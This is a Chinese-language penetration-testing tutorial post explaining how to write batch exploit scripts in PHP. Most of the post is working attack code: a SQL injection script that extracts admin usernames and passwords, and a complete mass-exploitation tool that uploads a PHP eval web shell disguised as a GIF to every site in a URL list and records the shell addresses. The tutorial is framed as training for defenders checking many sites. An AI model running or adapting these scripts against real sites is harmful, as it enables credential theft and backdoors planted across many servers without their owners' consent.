1. 首页
  2. 渗透测试

[原创]WEB安全第七章exp编写篇06 getshell exp编写

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

WEB安全第七章exp编写篇04 getshell exp编写

1、简介
批量exp 有什么用,例如某个大型cms【cms内容管理系统】如dedecms、WordPress、phpcms 突然出了漏洞。各大安全src发布预警信息。
经过安全研究员摸索,poc很快地发布到网上,提供安全人员检测。 网站管理员 和运维人员
也开始 处理这次事件。
如果你的企业或任务上很多这样的网站,并不知道是否存在漏洞,总不能每个用手工去测试。
编写批量检测 这样就要提高效率,进行批量测试。

2、php学习
以前编写的exp脚本 都需要命令行运行 exp 如: php.exe exp.php 这样感觉不够人性化,也不方便。
想要在php.exe exp.php filename.txt filename.txt 里面是你要检测的网址。
如何做到这点。 php提供了一个变量 $argv 当这个变量仅在 register_argc_argv 打开时可用。 注参开 http://php.net/manual/zh/reserved.variables.argv.php

[php]
<?php var_dump($argv); ?>

[/php]

[原创]WEB安全第七章exp编写篇06 getshell exp编写

[php]
<?php
$site="www.moontester.com";
$payload="article.php?id=-1%20union%20select%201,2,group_concat(0x7e,username,0x3a,password,0x7e)%20from%20admin";
$key ="PHPSESSID=gpcjcspj2oje5j3h2dtb8c8895";

function send_http($site,$payload,$key){
$fp = fsockopen($site, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET /{$payload} HTTP/1.1\r\n";
$out .= "Host:{$site} \r\n";
$out .= "Connection: keep-alive\r\n\r\n";
$out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n";
$out .="Cookie:{$key}\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$resp .= fgets($fp, 1024);
}
fclose($fp);
return $resp;
}

}

$html = send_http($site,$payload,$key);

if($html){
preg_match(‘/~(.*?)~/’, $html,$m);
if($m[1]){
echo "[+]{$m[1]}[+]";
}else{
echo "[!]error[!]";
}

}else{
echo "[!]error[!]";
}

?>

[/php]

批量的思路是
读取文本 每一个文本行都要进行测试 把结果保存在文本上。
这个exp 现在进行修改。修改的思路是 读取文件,将里的url遍历测试,把结果保存起来。

完整的利用代码

[php]
<?php

function http_send($host, $packet){

$sock = fsockopen($host, 80);

if(!$sock){
print "\n[-] No response from {$host}:80 Trying again…";
$sock = fsockopen($host, 80);
}

fputs($sock, $packet);

while (!feof($sock)) {

$resp .= fread($sock, 1024);
}

fclose($sock);
return $resp;

}

function data($host,$filename){

$payload = "—————————–86531354118821\r\n";
$payload .= "Content-Disposition: form-data; name=’file’; filename='{$filename}’\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= ‘GIF89a’."\r\n".'<?php eval($_POST[a]) ?>’."\r\n";
$payload .= "—————————–86531354118821\r\n";
$payload .= "Content-Disposition: form-data; name=’sub’";
$payload .="\r\n\r\n";
$payload .="12132\r\n";
$payload .="—————————–86531354118821–\r\n";
$packet = "POST /upload.php HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=—————————86531354118821\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

return $packet;

}

function w($fileName,$data){
fwrite(fopen($fileName,"a+"),$data."\r\n");

}

function exploit($host){
$filename = "moon.php";
$resulit=”;
$html_str =http_send($host,data($host,$filename));
preg_match("/Stored in: (.*?)</", $html_str,$m);
if ($m[1]){
$resulit="http://".$host."/".$m[1];
}
return $resulit;

}

if(count($argv)<3){
print $argv[0]." url.txt save.txt";
exit;
}

$url_txt = $argv[1];

$sava_file = $argv[2];

$myurl = file($url_txt);

foreach($myurl as $value){
echo "Testing {$value}";
$v = substr($value,strpos($value,"//")+2);
$v = trim(str_replace("/","",$v));
$result = exploit($v);
if($result){

w($sava_file,$result);
}
sleep(1);
}

[/php]

这里的意思就是 cmd命令下 传入的值 不能小于三个 小于三个就会退出程序

[php]
if(count($argv)<3){
print $argv[0]." url.txt save.txt";
exit;
}

[/php]

读取到的文本进行遍历测试

[php]
foreach($myurl as $value){
echo "Testing {$value}";
$v = substr($value,strpos($value,"//")+2);
$v = trim(str_replace("/","",$v));
$result = exploit($v);
if($result){

w($sava_file,$result);
}
sleep(1);
}

[/php]

截取内容 http://www.moontester.com
www.moontester.com
$v = substr($value,strpos($value,”//”)+2);

终端下的命令 url.txt 要检测的文本文件,save.txt 保存文件
因为没有设置php的环境变量 所以要在php.exe 目录执行exp 文件夹里面程序就要在文件名前加上路径
php exp/exp06.php exp/url.txt exp/save.txt

[原创]WEB安全第七章exp编写篇06 getshell exp编写

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/528.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息